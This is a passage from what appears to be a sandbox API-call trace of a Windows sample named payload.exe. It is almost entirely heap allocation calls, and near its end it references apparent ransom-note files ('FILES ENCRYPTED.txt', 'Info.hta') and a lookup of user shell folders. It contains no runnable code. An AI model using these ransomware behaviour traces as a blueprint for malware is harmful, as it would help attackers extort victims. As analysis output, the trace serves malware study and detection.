(HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b6d8 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b6f0 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b708 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b720 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a140 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b738 [0054.125] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606c80, Size=0x80) returned 0x62b458 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b750 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b768 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b780 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b798 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b7b0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b7c8 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b7e0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a180 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b7f8 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b810 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b828 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b840 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b858 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b870 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b888 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b8a0 [0054.126] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x620080 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b8b8 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b8d0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b8e8 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61b900 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b918 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b930 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1b0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b948 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b960 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b978 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a1c0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b990 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d488 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1d0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d4a0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d4b8 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d4d0 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d4e8 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d500 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d518 [0054.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65d530 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d548 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x65d560 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d578 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d590 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d5a8 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d5c0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1e0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d5d8 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d5f0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d608 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d620 [0054.127] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x620080, Size=0x200) returned 0x65d870 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d638 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1f0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d650 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d668 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d680 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d698 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d6b0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d6c8 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d6e0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d6f8 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d710 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d728 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d740 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d758 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d770 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d788 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d7a0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d7b8 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d7d0 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65d7e8 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d800 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d818 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d830 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a200 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65d848 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65da90 [0054.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65daa8 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a210 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dac0 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65dad8 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65daf0 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65db08 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65db20 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65db38 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65db50 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65db68 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65db80 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65db98 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dbb0 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dbc8 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dbe0 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65dbf8 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dc10 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dc28 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dc40 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dc58 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dc70 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dc88 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dca0 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a220 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a230 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dcb8 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dcd0 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dce8 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dd00 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dd18 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65dd30 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dd48 [0054.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dd60 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dd78 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65dd90 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65dda8 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ddc0 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ddd8 [0054.129] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65d870, Size=0x400) returned 0x65de78 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ddf0 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65de08 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65de20 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65de38 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65de50 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e298 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e2b0 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e2c8 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e2e0 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e2f8 [0054.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a240 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e310 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e328 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e340 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e358 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e370 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e388 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65e3a0 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e3b8 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e3d0 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e3e8 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e400 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e418 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e430 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e448 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e460 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a250 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e478 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e490 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4a8 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4c0 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4d8 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e4f0 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e508 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e520 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e538 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65e550 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e568 [0054.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65e580 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e598 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e5b0 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e5c8 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e5e0 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e5f8 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e610 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e628 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e640 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e658 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e698 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e6b0 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e6c8 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e6e0 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e6f8 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e710 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e728 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e740 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e758 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e770 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e788 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e7a0 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e7b8 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e7d0 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x65e7e8 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12) returned 0x606108 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e800 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e818 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e830 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e848 [0054.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e860 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e878 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e890 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e8a8 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e8c0 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e8d8 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e8f0 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e908 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e920 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e938 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e950 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e968 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e980 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e998 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e9b0 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65e9c8 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e9e0 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65e9f8 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65ea10 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x65ea28 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65ea40 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a260 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ea58 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a270 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ea98 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65eab0 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65eac8 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65eae0 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65eaf8 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65eb10 [0054.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65eb28 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65eb40 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65eb58 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65eb70 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65eb88 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65eba0 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65ebb8 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ebd0 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a280 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ebe8 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ec00 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ec18 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ec30 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ec48 [0054.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x65ec60 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65de78, Size=0x800) returned 0x65ee80 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65fda8, Size=0x20) returned 0x605ac8 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605ac8, Size=0x40) returned 0x606c80 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606c80, Size=0x80) returned 0x62b458 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a2f0, Size=0x8) returned 0x60a300 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a300, Size=0x10) returned 0x65fda8 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65fda8, Size=0x20) returned 0x605b40 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65fdd8, Size=0x20) returned 0x605b68 [0054.133] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605b68, Size=0x40) returned 0x606c80 [0054.134] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0054.134] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65fdd8, Size=0x20) returned 0x605b68 [0054.134] lstrlenW (lpString="Info.hta") returned 8 [0054.134] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x65fe88, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe")) returned 0x31 [0057.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65fe88 | out: hHeap=0x5d0000) returned 1 [0057.022] lstrlenW (lpString="payload.exe") returned 11 [0057.022] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605b40, Size=0x40) returned 0x606d10 [0057.022] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fec0, Size=0x20) returned 0x605b40 [0057.023] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fec0, Size=0x20) returned 0x605c30 [0057.023] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605c30, Size=0x40) returned 0x606d58 [0057.023] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606d58, Size=0x80) returned 0x62b458 [0057.023] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x620080 [0057.023] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x620080 | out: hHeap=0x5d0000) returned 1 [0057.023] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x65fe88, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0057.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x670690 | out: hHeap=0x5d0000) returned 1 [0057.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65fe88 | out: hHeap=0x5d0000) returned 1 [0057.023] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a300, Size=0x8) returned 0x60a2f0 [0057.024] lstrlenW (lpString="%windir%;") returned 9 [0057.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605b40 | out: hHeap=0x5d0000) returned 1 [0057.024] lstrlenW 